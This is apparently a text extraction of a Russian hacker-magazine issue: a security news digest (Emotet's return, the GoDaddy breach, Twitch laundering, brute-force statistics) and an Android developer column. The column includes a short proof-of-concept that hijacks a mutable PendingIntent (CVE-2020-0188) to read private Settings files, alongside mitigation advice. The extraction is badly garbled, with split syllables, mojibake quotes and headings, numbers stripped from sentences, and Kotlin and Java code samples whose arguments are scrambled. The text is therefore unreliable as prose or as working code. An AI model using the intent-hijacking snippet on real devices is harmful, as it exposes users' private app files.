OldGremlin — они рас счи тыва ли получить от жер твы  руб лей.250 000 000

Са мым популяр ным спо собом про ник новения шиф роваль щиков в сети рос сий ских орга низа ций
ста ла ком про мета ция по про токо лу RDP. В текущем году такие ата ки сос тавля ли до 
от обще го чис ла.

60%

NINTENDO ЗАСУДИЛА
МОДДЕРА
В прош лом году в Домини кан ской Рес публи ке был арес тован (и вско ре экс- 
тра диро ван в США) 51-лет ний канадец Гэри «GaryOPA» Баузер (Gary Bowser).
Он был чле ном груп пы Team Xecuter, которая пред лагала людям аппа рат ные
и прог рам мные решения, поз воляв шие уста нав ливать на раз личные кон соли
(вклю чая популяр ную Nintendo Switch) неофи циаль ные и пират ские копии игр.
Теперь Баузер приз нал себя винов ным.

Ба узер работал над извес тной линей кой SX OS для мод динга устрой ств
Switch, а так же занимал ся раз работ кой дру гих инс тру мен тов, поз воляв ших
поль зовате лям играть в пират ские ROM. Баузер приз нал себя винов ным
по двум из один надца ти пун ктов обви нения, свя зан ных с тор говлей устрой- 
ства ми для обхо да защиты, и в сго воре с той же целью. Вмес те два этих
обви нения пре дус матри вают мак сималь ное наказа ние в виде десяти лет
лишения сво боды. Вза мен на приз нание вины про кура тура сог ласилась снять
осталь ные девять обви нений.

Как гла сит под писан ное Баузе ром сог лашение, мод дер приз нает, что
в пери од с июня 2013 года и вплоть до арес та в прош лом году он «соз натель- 
но и умыш ленно учас тво вал в кибер прес тупной деятель нос ти по взло му
ведущих игро вых кон солей, в рам ках которой раз рабаты вались, про изво- 
дились и про дава лись раз личные устрой ства для обхо да защиты, поз воляв- 
шие кли ентам [мод деров] играть в пират ские вер сии виде оигр, защищен ных
автор ским пра вом».

Так же Баузер приз нает, что мод деры стре мились «скрыть свою незакон-
ную деятель ность за пред полага емым желани ем под держать доморо щен ных
энту зиас тов, которые хотели раз рабаты вать собс твен ные игры». Груп па под- 
держи вала и дви жение за пра во на ремонт, одна ко их про дук ты так же поз- 
воляли поль зовате лям играть в пират ские игры.

В ответ на ста рания мод деров ком пания Nintendo обно вила аппа рат ную
сос тавля ющую Switch, стре мясь помешать взло мам, но Team Xecute соз дала
спе циаль ные устрой ства, которые мож но было при паять к внут ренней пла те
Switch, гла сят судеб ные докумен ты. При меры таких девай сов мож но уви деть
ниже.

Кро ме того, сооб щает ся, что устрой ства мод деров «незамет но и без авто- 
риза ции получа ли дос туп к сер верам Nintendo и эко сис теме онлайн-игр»,
исполь зуя легитим ные сер веры Nintendo для сво их целей.

Сог ласно судеб ным докумен там, успех таких устрой ств, как Gateway 3DS,
Stargate, TrueBlue Mini, Classic2Magic, а так же линей ки SX OS «зависел в пер- 
вую оче редь от наличия пират ских ROM». Баузер приз нает, что он и дру гие
учас тни ки Team Xecuter «соз давали и под держи вали биб лиоте ки ROM», что бы
поль зовате ли мог ли обра щать ся к ним через такие сай ты,
как MaxConsole.com и rom-bank.com.

По оцен кам самого Баузе ра, Team Xecuter получи ла «десят ки мил лионов
дол ларов выруч ки» от про даж сво их устрой ств и ПО с 2013 года. Наибо лее
доход ной была имен но SX OS, поз воляв шая исполь зовать Nintendo Switch
с кас томной про шив кой и играть в пират ские игры. Впро чем, Баузер лич но
зарабо тал толь ко 320 тысяч дол ларов, получая пря мые пла тежи от Team
Xecuter и долю с рек ламных про даж на раз личных сай тах, которые он кон тро- 
лиро вал.

Тем не менее в рам ках сог лашения Баузер вып латит ком пании Nintendo
4 500 000 дол ларов, что бы ком пенси ровать часть убыт ков от деятель нос ти
Team Xecuter, которые, по офи циаль ной вер сии, сос тавля ют от 65 до 150 мил- 
лионов дол ларов.

ПЕРЕХОД НА TOR V3
Не дав но Tor Project закон чил под дер жку 16-сим воль ных доменов в зоне .onion, так же извес- 
тных как адре са v2, и заменил их домена ми дли ной 56 сим волов, извес тны ми как v3. Иссле- 
дова тели ком пании DarkOwl под счи тали, сколь ко сай тов уже переш ли на новый стан дарт.

Увы, нес мотря на то, что к это му момен ту раз работ чики Tor Project готови лись дол го, сеть Tor
по-преж нему сос тоит в основном из сер веров, на которых работа ют ста рые домены v2. За пос- 
ледние шесть недель плат форма DarkOwl Vision фик сирова ла в сред нем  активных сер- 
висов .onion, работа ющих по обо им стан дартам, из которых  — адре са v2, а  — адре- 
са v3.

104 095
62% 38%

Ис сле дова тели ожи дают, что сай ты v2 окон чатель но исчезнут не рань ше, чем в сле дующем
году.

EMOTET ВЕРНУЛСЯ
В янва ре текуще го года Евро пол, ФБР и пра воох ранитель ные орга ны мно гих
стран мира, вклю чая Канаду, Нидер ланды, Фран цию, Гер манию, Лит ву,
Великоб ританию и Укра ину, про вели мас штаб ную 

 по лик видации бот нета Emotet, под готов ка к которой дли лась два года.
ско орди ниро ван ную опе- 

рацию
Тог да пра воох раните лям уда лось зах ватить кон троль над инфраструк турой

Emotet, нарушив ее работу. В ито ге прес тупни ки лишились воз можнос ти
исполь зовать взло ман ные машины, а мал варь прек ратила рас простра нять ся
на новые цели.

Бо лее того, экспер ты исполь зовали свой дос туп к управля ющим сер верам
Emotet, которые ока зались под кон тро лем Федераль ного ведомс тва уго лов- 
ной полиции Гер мании (Bundeskriminalamt), для раз верты вания спе циаль ного
обновле ния на всех заражен ных хос тах. Спе циаль ный модуль для Emotet,
соз данный спе циалис тами Bundeskriminalamt, был рас простра нен на все
заражен ные сис темы в виде 32-раз рядно го фай ла EmotetLoader.dll.
Это обновле ние содер жало «бом бу замед ленно го дей ствия»: вес ной текуще- 
го года механизм при вел к уда лению Emotet со всех заражен ных машин. Фак- 
тичес ки бот нет был унич тожен.

«

»

«Íà ïðî òÿæå íèè äîë ãîãî âðå ìåíè Emotet áûë íàøåé óãðî çîé íîìåð

îäèí, è åãî óñòðà íåíèå áóäåò èìåòü áîëü øîå çíà ÷åíèå. Emotet ó÷àñ- 

òâó åò â 30% âñåõ àòàê âðå äîíîñ íîãî ÏÎ, òàê ÷òî åãî óñïåøíàÿ ëèê- 

âèäàöèÿ îêà æåò áîëü øîå âëè ÿíèå íà âñþ êðè ìèíàëü íóþ ñðå äó», —

ãîâîðèë òîã äà ðóêîâî äèòåëü îïå ðàöèé Åâðî ïåé ñêî ãî öåí òðà ïî áîðü áå

ñ êèáåð ïðåñ òóïíîñòüþ Ôåð íàíäî Ðóèñ (Fernando Ruiz).

Те перь, спус тя десять месяцев пос ле опе рации по лик видации бот нета,
иссле дова тели вновь обна ружи ли активность мал вари. ИБ-иссле дова тель
Лука Эбах (Luca Ebach) сооб щил, что дру гой бот нет, TrickBot, помога ет опе- 
рато рам Emotet встать на ноги, уста нав ливая мал варь Emotet в сис темы, уже
заражен ные самим TrickBot.

Один из энту зиас тов из груп пы , в которую вхо дят более
двад цати ИБ-спе циалис тов со все го мира, еще в 2018 году объ еди нив шихся
ради общей цели — борь бы с мал варью Emotet, сооб щил, что в прош лом,
ког да еще Emotet рас простра нял TrickBot, а не наобо рот, эту активность
называ ли ReachAround. По сути, это озна чает, что Emotet перес тра ивает ся
с исполь зовани ем инфраструк туры TrickBot.

Cryptolaemus

«
»

«Îíè óæå äåëàëè òàê ðàíü øå, è ìû çíà ëè, ÷òî äëÿ íèõ ýòî ìîæåò ñòàòü

ñïî ñîáîì âåð íóòü ñÿ», — ãîâîðèò ýêñïåðò.

На пом ню, что иссле дова тели Cryptolaemus сыг рали реша ющую роль в отсле- 
жива нии бот нета и активно помога ли пра воох ранитель ным орга нам в унич- 
тожении Emotet. В этой свя зи инте ресен тот факт, что новые вер сии Emotet
появи лись прак тичес ки одновре мен но с трех летним юби леем Cryptolaemus,
хотя неяс но, была ли это слу чай ность, или опе рато ры Emotet дей стви тель но
переда ли иссле дова телям сво еоб разный при вет.

На скрин шоте, пре дос тавлен ном СМИ чле ном Cryptolaemus, Abuse.ch,
показан пери од без дей ствия Emotet (с янва ря по ноябрь 2021 года), а так же
момент, ког да хакеры раз верну ли новые управля ющие сер веры.

Продолжение статьи →

https://xakep.ru/2021/01/28/emotet-down/
https://xakep.ru/2020/03/02/cryptolaemus/
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По дан ным Cryptolaemus, опе рато ры Emotet не сра зу переш ли к рас сылке
спа ма по элек трон ной поч те. Вмес то это го они положи лись на помощь груп- 
пиров ки TrickBot, которая помог ла им вос ста новить «фун дамент» бот нета,
преж де чем тот сно ва перей дет к спам-кам пани ям.

Ис сле дова тели отме чают, что Emotet будет неп росто дос тичь преж них
раз меров в бли жай шие месяцы, одна ко мал варь оста ется очень слож ной
и эффектив ной угро зой, которую нель зя игно риро вать. Новая инфраструк- 
тура Emotet рас тет дос таточ но быс тро: более 246 заражен ных устрой ств уже
дей ству ют как C&C-сер веры.

АТАКИ НА РОССИЙСКИЕ КОМПАНИИ
Ком пания Positive Technologies про вела ано ним ный опрос сре ди ИБ-спе циалис тов ком паний
из девяти отраслей: финан совой, про мыш ленной, государс твен ного сек тора, ТЭК, обра зова- 
ния, телеком муника ций, здра воох ранения, СМИ и IT. В каж дой сфе ре были обна руже ны орга- 
низа ции, которые под верга лись целенап равлен ным ата кам.

Ча ще все го жер тва ми ста нови лись финан совые ком пании ―  слу чаев, на вто ром мес те
ока зались пред при ятия топ ливно-энер гетичес кого ком плек са ― , замыка ют трой ку госуч- 
режде ния ―  слу чаев.

44%
33%

29%

Боль шинс тво целевых атак были нап равле ны на кон крет ную ком панию, отрасль или груп пу лиц.
Как пра вило, такие ата ки про водят пос ле пред варитель ной раз ведки и сбо ра информа ции
о жер тве.

Ис сле дова тели отме чают, что боль шинс тво орга низа ций прак тичес ки не защище ны от подоб- 
ных угроз: они исполь зуют лишь базовые средс тва защиты, а у некото рых нет даже анти виру- 
сов.

Пе соч ницы, которые про веря ют фай лы в изо лиро ван ной вир туаль ной сре де, есть у  опро- 
шен ных, сис темы глу боко го ана лиза тра фика (NTA) ― у . Спе циали зиро ван ные ком- 
плексные решения исполь зуют толь ко  рес понден тов.

28%
27%

15%

У GODADDY СНОВА
ПРОБЛЕМЫ
До мен ный регис тра тор и хос тер GoDaddy сооб щил о взло ме и утеч ке дан ных.
В ходе инци ден та пос тра дали дан ные 1,2 мил лиона кли ентов ком пании, так
как хакеры получи ли дос туп к хос тинго вой сре де WordPress. Ком пания сооб- 
щила о про изо шед шем в докумен тах, подан ных в Комис сию по цен ным
бумагам и бир жам США. Спе циалис ты GoDaddy обна ружи ли взлом 17 нояб- 
ря, пос ле «подоз ритель ной активнос ти», зафик сирован ной в сре де управля- 
емо го хос тинга для WordPress.

Рас сле дова ние показа ло, что неиз вес тные хакеры сох раняли дос туп к сер- 
верам GoDaddy более двух месяцев и про ник ли в сеть ком пании еще 6 сен- 
тября 2021 года. Зло умыш ленни ки име ли дос туп к сле дующим дан ным:

ин форма ции 1,2 мил лиона активных и неак тивных кли ентов управля емо го
хос тинга для WordPress, вклю чая адре са элек трон ной поч ты и номера кли- 
ентов;

•

ори гиналь ному паролю адми нис тра тора WordPress (его GoDaddy выда ет
кли ентам при соз дании сай та);

•

име нам поль зовате лей и паролям от БД и sFTP для активных кли ентов;•
зак рытым клю чам SSL для некото рых кли ентов.•

Пред ста вите ли GoDaddy говорят, что сбро сили ском про мети рован ные
во вре мя взло ма пароли для sFTP и БД. Так же ком пания обну лила пароли
от учет ных записей адми нис тра тора, если кли енты все еще исполь зовали
пароль по умол чанию, выдан ный им в самом начале. Кро ме того, ком пания
ини цииро вала перевы пуск и уста нов ку новых сер тифика тов SSL для пос тра- 
дав ших.

На пом ню, что это далеко не пер вый слу чай ком про мета ции ресур сов
GoDaddy. К при меру, в 2019 году хакеры раз мести ли в инфраструк туре ком- 
пании более 15 тысяч вре донос ных под доменов, которые перенап равля ли
посети телей на сай ты, где рек ламиро вались БАДы для улуч шения работы
моз га, таб летки для похуде ния, CBD-мас ла и подоб ное.

БРУТФОРС ПАРОЛЕЙ
Спе циалист ком пании Microsoft Росс Бевин гтон (Ross Bevington) поделил ся инте рес ной ста тис- 
тикой: боль шинс тво зло умыш ленни ков пред почита ют брут форсить толь ко корот кие пароли
и лишь малый про цент атак нацелен на длин ные пароли, содер жащие спе циаль ные сим волы.

Дан ные, исполь зован ные более чем в  брут форс-атак на SSH, показа ли, что в 
слу чаев брут форс был нап равлен на пароли от  до  сим волов. Пароль дли ной более  сим- 
волов встре чал ся толь ко в  слу чаев.

25 000 000 77%
1 7 10

6%

К тому же лишь в  слу чаев во вре мя брут форс-атак исполь зовал ся хотя бы один спе циаль- 
ный сим вол, тог да как в  слу чаев исполь зовалась хотя бы одна циф ра. При этом ни одна
из попыток брут форса не учи тыва ла пароли, которые могут содер жать про белы.

7%
39%

Бе вин гтон отме тил, что, осно выва ясь на дан ных, получен ных из  брут- 
форс-атак на honeypot-сер веры Microsoft, ата ки на RDP утро ились по срав нению с 2020 годом,
про демонс три ровав рост на .

14  мил лиар дов

325%

ОТМЫВАНИЕ ДЕНЕГ
ЧЕРЕЗ TWITCH
Изу чая дан ные, опуб ликован ные хакера ми пос ле недав ней ком про мета ции
Twitch, жур налис ты обна ружи ли схе му по отмы ванию денег через сер вис.
Средс тва про ходят через турец ких стри меров в фор мате пожер тво ваний.

УТЕЧКА
В октябре 2021 года на 4chan была опуб ликова на ссыл ка на тор рент-файл, содер жащий поч- 
ти 130 Гбайт дан ных ком пании Twitch. Неиз вес тные хакеры выложи ли в откры тый дос туп
исходные коды и биз нес-дан ные плат формы.

Ком пания Twitch под твер дила факт взло ма и заяви ла, что слив про изо шел из-за изме нения
кон фигура ции сер вера. Под черки валось, что в резуль тате инци ден та не пос тра дали ни пароли
поль зовате лей, ни их номера бан ков ских карт. Зато дос тоянием общес твен ности ста ли дан ные
о доходах стри меров.

Жур налис ты изда ний MEE и Gamegar изу чили похищен ные у Twitch дан ные,
отно сящи еся к турец кому рын ку, и информа ция показа лась им стран ной: они
замети ли, что круп ные пожер тво вания порой дела ются неболь шими сум- 
мами, раз бива ясь на мно жес тво мел ких пла тежей. В основном в таких схе мах
исполь зует ся собс твен ная валюта плат формы — Bits.

[Ïîëó÷èâ òàêèå ïîæåð òâî âàíèÿ], ñòðè ìåðû âîç âðà ùàëè 80% ïîëó÷åí- 

íûõ äåíåã íà ðàç ëè÷íûå áàí êîâ ñêèå ñ÷å òà, ïðè íàä ëåæàùèå õàêåðàì,

ýôôåêòèâ íî îòìû âàÿ ýòè äåíü ãè.

«

»

«Twitch ïåðåâî äèò îäèí ïðî öåíò äîõîäà, ïîëó÷åí íîãî ÷åðåç Bits,

îòäåëü íûì ñòðè ìåðàì. Áûëî óñòà íîâ ëåíî, ÷òî íåêîòî ðûå èç íèõ

çàðàáà òûâà þò äî 1800 äîë ëàðîâ â äåíü, õîòÿ ó íèõ âñå ãî

îò 40 äî 50 çðè òåëåé.

Â ðàì êàõ ýòîé ñõå ìû õàêåðû ñíà ÷àëà ïîõèùà ëè èëè èíûì îáðà çîì

ïîëó÷à ëè èíôîðìà öèþ î êðå äèò íûõ êàð òàõ ñëó ÷àé íûõ ëþäåé, à çàòåì

çàê ëþ÷àëè ñäåë êè ñî ñòðè ìåðà ìè Twitch, ÷òî áû îòïðàâ ëÿòü èì êðóï- 

íûå äåíåæ íûå âûï ëàòû ÷åðåç Bits.

Çà ïîñ ëåäíèå äâà ãîäà ÷åðåç 2400 òóðåö êèõ ñòðè ìåðîâ áûëî îòìû- 

òî ïîðÿä êà 9,8 ìèë ëèîíà äîë ëàðîâ», — ðàñ ñêà çûâà þò èññëå äîâà òåëè.

Ин терес но, что слу хи об этой схе ме цир кулиро вали дав но, одна ко детали ста- 
ли извес тны лишь недав но, ког да турец кий стри мер Grimnax поделил ся
скрин шотами из Discord, на которых вид но, как хакеры пред лага ют ему при- 
нять учас тие в их афе ре.

Дру гой извес тный турец кий стри мер, Jahrein, у которо го более 1,7 мил лиона
под писчи ков, тоже пыта ется прив лечь вни мание к этой проб леме. Недав но он
встре чал ся с полити ками, которые теперь при зыва ют пар ламент Тур ции
и регули рующие орга ны занять ся тща тель ным изу чени ем это го скан дала.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Àðåñ òû

Ин терпол сооб щил об арес те 1000 человек, свя зан ных с кибер прес тупностью

Влас ти США арес товали взлом щика ком пании Kaseya, а так же хакеров, свя зан ных с REvil
и GandCrab

Гла ва двух крип товалют ных бирж задер жан, так как помогал опе рато рам мал вари Ryuk

Âçëî ìû

Вла дель ца пират ско го сай та обви нили во взло ме MLB, НБА, НФЛ, НХЛ, а так же в вымога тель- 
стве

Не извес тные взло мали чат-бота на пор тале Госус луг

Плат форма Robinhood ском про мети рова на. Укра дены дан ные при мер но семи мил лионов поль- 
зовате лей

Ìàë âàðü

Бот нет Pink заразил более 1 600 000 устрой ств

Шиф роваль щик BlackMatter прек ратил работу из-за «дав ления влас тей»

Мал варь из катало га AppGallery про ник ла по мень шей мере на 9 300 000 Android-устрой ств

Óÿç âèìîñ òè

Ха керы экс плу ати руют кри тичес кую RCE-уяз вимость в GitLab

Опуб ликован экс пло ит для проб лем BrakTooth

Проб лемы NUCLEUS:13 угро жают медицин ским устрой ствам, авто моби лям и про мыш ленным
сис темам

Èí òåðåñ íîå

Эк спер ты обма нули ска нер отпе чат ков паль цев с помощью клея

На Pwn2Own прин теры зас тавили играть AC/DC

Боль шинс тво пред ложений о взло ме SS7 — это скам

https://xakep.ru/2021/11/26/haeichi-ii/
https://xakep.ru/2021/11/09/antiransomware-ops/
https://xakep.ru/2021/11/15/dubnikov-arrest/
https://xakep.ru/2021/11/01/hehestreams/
https://xakep.ru/2021/11/12/gosuslugi-attack/
https://xakep.ru/2021/11/09/robinhood-hacked/
https://xakep.ru/2021/11/02/pink-botnet/
https://xakep.ru/2021/11/03/blackmatter-closed/
https://xakep.ru/2021/11/23/appgallery-cynos/
https://xakep.ru/2021/11/03/gitlab-rce-2/
https://xakep.ru/2021/11/09/braktooth-poc/
https://xakep.ru/2021/11/10/nucleaus-13/
https://xakep.ru/2021/11/23/glue-fingerprint/
https://xakep.ru/2021/11/08/pwn2own-austin-2021/
https://xakep.ru/2021/11/18/ss7-fake-hacks/
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В этом выпус ке: ана лиз исполь зования тре- 
кин говых биб лиотек в при ложе ниях, рас- 
сказ об уяз вимос тях, свя зан ных с исполь- 
зовани ем PendingIntent, статьи о пра виль- 
ном завер шении и син хро низа ции корутин,
а так же статья о неоче вид ных тон костях
работы с объ екта ми. Ну и как всег да —
под борка биб лиотек для раз работ чиков.

ÏÎ×ÈÒÀÒÜ

PendingIntent è áåçîïàñíîñòü

 — пре зен тация с Black Hat Europe
2021, пос вящен ная уяз вимос тям, свя зан ным с исполь зовани ем так называ- 
емых PendingIntent в при ложе ниях для Android.

Re-route Your Intent for Privilege Escalation

Ин тенты (intent) — одна из клю чевых идей Android. Интенты поз воля ют
пересы лать сооб щения меж ду ком понен тами при ложе ний и сис темных сер- 
висов с целью выз вать опре делен ное дей ствие. Запус кают ся при ложе ния,
откры вают ся ссыл ки, ини циируют ся звон ки и мно гое дру гое в Android дела- 
ется с помощью интентов.

По верх интентов пос тро ен дру гой механизм — отло жен ные интенты
(PendingIntent). Он поз воля ет передать интент дру гому при ложе нию или ком- 
понен ту сис темы, что бы то мог ло отпра вить интент от име ни передав шего его
при ложе ния.

Проб лема отло жен ных интентов толь ко в том, что в ряде слу чаев мож но
изме нить записан ный в них интент (это мож но сде лать, если не уста нов лен
флаг ) и в ито ге выпол нить про изволь ное дей ствие от име ни

передав шего PendingIntent при ложе ния.

FLAG_IMMUTABLE

От ложен ные интенты чаще все го исполь зуют ся в сле дующих ком понен тах:
1. Уве дом ления. Что бы перех ватить их, мы можем соз дать

, который будет слу шать все уве дом- 
ления при ложе ний и извле кать из них отло жен ные интенты.
NotificationListenerService

2. SliceProvider. Этот механизм исполь зует ся для встра ива ния час тей при- 
ложе ния в дру гие при ложе ния, нап ример встра ива ния перек лючате ля
быс трых нас тро ек в окно ассистен та. Мы можем получить слайс
с помощью клас са  или  и затем
получить PendingIntent всех слай сов.

SliceViewManager ContentResolver

3. MediaBrowserService. Механизм, поз воля ющий при ложе нию дать дос туп
к сво ей меди ате ке с воз можностью вклю чить про игры вание меди афай лов.
Получить PendingIntent мож но, под клю чив шись к при ложе нию с помощью
клас са .MediaBrowser

4. Вид жеты рабоче го сто ла исполь зуют отло жен ные интенты в качес тве дей- 
ствий при нажатии на свои эле мен ты. Класс  поз воля ет
при ложе нию при кинуть ся лаун чером и получить дос туп к вид жетам при- 
ложе ний. Далее PendingIntent мож но извлечь из самого вид жета.

AppWidgetHost

В качес тве при мера уяз вимос ти в одном из этих ком понен тов при ведем CVE-
2020-0188. Это уяз вимость в SliceProvider’е стан дар тных нас тро ек Android.
Бла года ря тому что PendingIntent был открыт для изме нения, его мож но было
вытащить с помощью , а затем изме нить так, что бы про- 

читать при ват ные фай лы при ложе ния «Нас трой ки»:

ContentResolver

Intent hijackIntent = new Intent();
hijackIntent.setPackage(getPackageName());

, 
hijackIntent.setDataAndType(Uri.parse("content://com.android.
settings.files/my_cache/NOTICE.html") "txt/html");
hijackIntent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION | 
Intent.FLAG_GRANT_READ_URI_PERMISSION);
pi.send(getApplicationContext(), 0, hijackIntent, null, null);

По сути, этот код зас тавля ет при ложе ние «Нас трой ки» передать ссыл ку
на свой внут ренний файл с пра вами на чте ние и запись при ложе нию-экс пло- 
иту. Оста ется толь ко при нять интент, и мож но делать с фай лом все, что угод- 
но.

Ре комен дации раз работ чикам:
По воз можнос ти ука зывай флаг  при соз дании
PendingIntent.

• FLAG_IMMUTABLE

При необ ходимос ти исполь зовать модифи циру емый PendingIntent при- 
меняй явный интент и запол няй поле . В этом слу чае зло- 
умыш ленник не смо жет перенап равить интент.

•
ComponetName

Ис поль зуй ути литу  для ска ниро вания при ложе ния
на наличие модифи циру емых PendingIntent.

• PendingIntentScan

Àíàëèç èñïîëüçîâàíèÿ òðåêèíãîâûõ áèáëèîòåê â ïðèëîæåíèÿõ

 — иссле дова ние исполь зования тре кин говых биб лиотек в при ложе ниях
для Android и iOS. Авто ры работы взя ли 12 тысяч при ложе ний для каж дой
плат формы, про ана лизи рова ли их код и сетевые под клю чения и приш ли
к сле дующим выводам:

Are iPhones Really Better for Privacy? Comparative Study of iOS and Android
Apps

В сред нем при ложе ния исполь зуют око ло трех раз личных тре кин говых
биб лиотек.

•

3,73% при ложе ний для Android и 3,13% при ложе ний для iOS исполь зуют
боль ше десяти тре кин говых биб лиотек.

•

88,73% при ложе ний для Android и 79,35% при ложе ний для iOS содер жат
хотя бы одну тре кин говую биб лиоте ку.

•

Са мые популяр ные тре кин говые биб лиоте ки на Android — Google Play
Services (87,3%), Google AdMob (61,7%), Google Firebase (57,6%).

•

Са мые популяр ные тре кин говые биб лиоте ки на iOS — SKAdNetwork
(69,6%), Google Firebase (53,9%), Facebook (25,5%).

•

Са мые исполь зуемые раз решения в при ложе ниях для Android (исклю чая
те, что дают ся без зап роса поль зовате ля) — дос туп к кар те памяти, мес- 
тополо жению и камере.

•

Са мые исполь зуемые раз решения в при ложе ниях для iOS — хра нили ще
фотог рафий, камера, мес тополо жение.

•

Са мые популяр ные домены для отправ ки ста тис тики —
googleads.g.doubleclick.net (Android) и app-measurement.com (iOS).

•

Боль шая часть тре кин говых ком паний при над лежит Alphabet (Google)
и Facebook.

•

Срав нитель ная таб лица исполь зования тре кин говых биб лиотек

Са мые зап рашива емые раз решения

ÐÀÇÐÀÁÎÒ×ÈÊÓ

Ñèíõðîíèçàöèÿ êîðóòèí

 — неболь шая замет ка о неоче- 
вид ной для некото рых прог раммис тов осо бен ности вза имо дей ствия корутин
Kotlin и бло киро вок.

Coroutines and Java Synchronization Don’t Mix

Все мы зна ем об анно тации  (или бло ке ),
которая говорит о том, что код фун кции может выпол нять ся толь ко в одном
потоке одновре мен но:

@Synchronized synchronized

2  repeat( ) {
    thread { criticalSection() }

}

@Synchronized 
 fun criticalSection() {

   println("Starting!")
10   Thread.sleep( )

   println("Ending!")
}

Два потока в этом при мере выпол нят код фун кции пос ледова тель но, один
за дру гим:

Starting! 
Ending! 
Starting! 
Ending! 

Од нако если мы заменим потоки корути нами, то все изме нит ся:

Jobval scope = CoroutineScope( ())

2  repeat( ) {
    scope.launch { criticalSectionSuspending() }

}

@Synchronized 
 suspend fun criticalSectionSuspending() {

   println("Starting!")
10   delay( )

   println("Ending!")
}

Вы вод будет таким:

Starting! 
Starting! 
Ending! 
Ending! 

Дру гими сло вами, анно тация  буд то бы не работа ет в слу чае

корутин.

@Synchronized

На самом деле объ ясне ние в том, что обе корути ны в дан ном при мере
работа ют в одном потоке. А это вле чет за собой два следс твия:
1. Ком пилятор, поняв, что в synchronized-блок вхо дит толь ко один поток,

может пол ностью уда лить син хро низа цию.
2. Блок synchronized обла дает свой ством reentrace, ког да один и тот же поток

может заходить в synchronized-блок, не сни мая бло киров ку.

Дру гими сло вами,  прос то не име ет смыс ла для корутин,
работа ющих в одном потоке. И вмес то нее сле дует исполь зовать класс

.

@Synchronized

Mutex

Ïðàâèëà îáðàùåíèÿ ñ îáúåêòàìè

 — оче вид ная для мно гих и в то же вре мя неоче вид ная
для некото рых даже прож женных прог раммис тов замет ка о том, как про исхо- 
дит работа с перемен ными и объ екта ми.

Variables point to objects

Возь мем сле дующий при мер:

 10 var a =
 a var b =

a  20 =
bprintln( )

Оче вид но, что этот код напеча тает 10. Мы прис ваиваем перемен ной  ссыл ку

на объ ект , который име ет зна чение 10 (в Kotlin при митив ные типы тоже
пред став лены объ екта ми), а затем прис ваиваем перемен ной  ссыл ку

на объ ект со зна чени ем 20. Соот ветс твен но,  теперь ссы лает ся на объ- 

ект 20, а  про дол жает ссы лать ся на объ ект 10. Все логич но.

b
a

a
a

b
Кар тина ста новит ся нем ного слож нее, ког да мы начина ем работать

с изме няемы ми объ екта ми:

val user1 = object {
    var name: String = "Rafał"

}
val user2 = user1 

 user1.name = "Bartek"
println(user2.name)

Этот код напеча тает Bartek, потому что, в отли чие от пре дыду щего при мера,
перемен ные  и  про дол жают ссы лать ся на один и тот же объ ект.
А вот свой ства это го объ екта меня ются, и изме нение рас простра няет ся
на обе перемен ные.

user1 user2

Все ста новит ся сов сем запутан ным, ког да мы перехо дим к изме няемым
и неиз меня емым кол лекци ям. Вот два при мера.

Пер вый:

1,2,3var list1 = listOf( )
var list2 = list1 

 4 list1 +=
list2println( )

Вто рой:

1,2,3var list1 = mutableListOf( )
var list2 = list1 

 4 list1 +=
list2println( )

Пер вый печата ет , а вто рой — . Так про исхо дит

потому, что в пер вом слу чае мы работа ем с неиз меня емой кол лекци ей, в ито- 
ге код  прев раща ется в , что бук валь но озна- 
чает «соз дать новый объ ект-спи сок, содер жимым которо го будут все эле мен- 
ты пер вого спис ка плюс эле мент 4».

[1, 2, 3] [1, 2, 3, 4]

list1 += 4 list1 = list1 + 4

Во вто ром при мере тот же самый код прев ратит ся уже в дру гую конс трук- 
цию: , которая озна чает , то есть

«добавить эле мент 4 к уже сущес тву юще му объ екту-кол лекции».

list1.plusAssign(4) list1.add(4)

И наконец, самый инте рес ный при мер. Kotlin поз воля ет делеги ровать поля
отоб ражению. Нап ример:

 class Population(var cities: Map<String, Int>) {
  val sanFrancisco by cities 
  val tallinn by cities 
  val kotlin by cities 
}

mapOfval population = Population( (
    "sanFrancisco" to 864_816, 
    "tallinn" to 413_782, 
    "kotlin" to 43_005)
)

println(population.sanFrancisco) // 864816 
println(population.tallinn) // 413782 
println(population.kotlin) // 43005 

Фун кция весь ма удоб ная. Но что, если пос ле соз дания объ екта мы прис воим
полю  зна чение ?cities emptyMap()

population.cities = emptyMap()

Ка кие зна чения в этом слу чае будут у полей , 
и ? Ответ: те же самые. Прос то потому, что объ ект  про- 

дол жает ссы лать ся на пре дыду щую вер сию map со все ми ее эле мен тами.

sanFrancisco tallinn
kotlin population

Êàê ïðàâèëüíî çàâåðøàòü êîðóòèíû

 — боль шая статья о том, как в Kotlin устро ено
завер шение корутин.
Cancellation in Kotlin Coroutines

Итак, нач нем с того, что интерфейс , пред став ляющий корути ну, име ет

метод , пред назна чен ный для завер шения корути ны. Его вызов при- 
водит к сле дующе му:

Job
cancel()

Ко рути на завер шает ся на пер вой точ ке оста нов ки, то есть ког да про исхо- 
дит вызов какой-то стан дар тной suspend-фун кции из стан дар тной биб- 
лиоте ки корутин (в слу чае с при мером ниже эта точ ка — метод ).

•

delay()
Ес ли Job име ет потом ков, то они тоже будут завер шены.•
Ког да Job будет завер шена, она боль ше не может быть исполь зована
для запус ка новых корутин (сос тояние Cancelled).

•

 fun main() = runBlocking {
   val job = launch {

1_000         repeat( ) { i -> 
200           delay( )

           println("Printing $i")
       }
   }

1100   delay( )
   job.cancel()
   job.join()
   println("Cancelled successfully")
}
// Printing 0 
// Printing 1 
// Printing 2 
// Printing 3 
// Printing 4 
// Cancelled successfully 

Как и в этом при мере, зачас тую пос ле  сле дует исполь зовать

, что бы дож дать ся фак тичес кого завер шения. Это нас толь ко час- 

тая пот ребность, что биб лиоте ка под дер жки корутин вклю чает в себя фун- 
кцию-рас ширение .

job.cancel()
job.join()

cancelAndJoin()
Ког да Job получа ет сиг нал завер шения, она меня ет свое сос тояние

на . Затем, при перехо де в сле дующую точ ку оста нов ки, она выб- 
расыва ет исклю чение . Это исклю чение мож но

перех ватить, но, что бы избе жать труд ноуло вимых багов, его луч ше сра зу выб- 
росить сно ва:

Cancelling
CancellationException

suspend fun main(): Unit = coroutineScope {
 Job   val job = ()

job     launch( ) {
       try {

1_000             repeat( ) { i -> 
200               delay( )

               println("Printing $i")
           }

        } catch (e: CancellationException) {
e           println( )

           throw e 
       }
   }

1100   delay( )
   job.cancelAndJoin()
   println("Cancelled successfully")

1000   delay( )
}
// Printing 0 
// Printing 1 
// Printing 2 
